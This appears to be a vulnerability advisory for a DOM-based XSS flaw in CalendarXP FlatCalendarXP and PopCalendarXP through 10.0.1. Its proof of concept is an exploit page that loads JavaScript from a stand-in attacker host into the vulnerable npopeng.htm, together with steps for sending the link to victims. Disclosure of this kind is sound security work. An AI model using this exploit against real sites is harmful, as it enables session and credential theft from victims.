Description

Two CalendarXP products have DXSS vulnerability in common parts of HTML files. CalendarXP FlatCalendarXP through 10.0.1 has DXSS vulnerability in iflateng.htm and nflateng.htm, and CalendarXP PopCalendarXP through 10.0.1 has DXSS vulnerability in ipopeng.htm and npopeng.htm.

Proof of Concept

Create a .html file (https://attacker-domain.com/exploit.html) with the code below and upload it to your server

<!-- exploit.html -->
<script>
    window.name = "gToday://attacker-domain.com/payload:agenda.js";
    location.href = "https://VULNERABLE-DOMAIN.COM/path/to/file/npopeng.htm";
</script>

Create a .js file (https://attacker-domain.com/payload.js) with the code below and upload it to your server

// payload.js
alert("XSS-Checker")

Send the link of the uploaded .html file (https://attacker-domain.com/exploit.html) to the victim. Whenever victim clicks this link, malicious javascript code will be executed

Impact

An attacker can easily take advantage of this vulnerability to steal usernames and passwords, session cookies, inject malicious javascript code into websites, etc.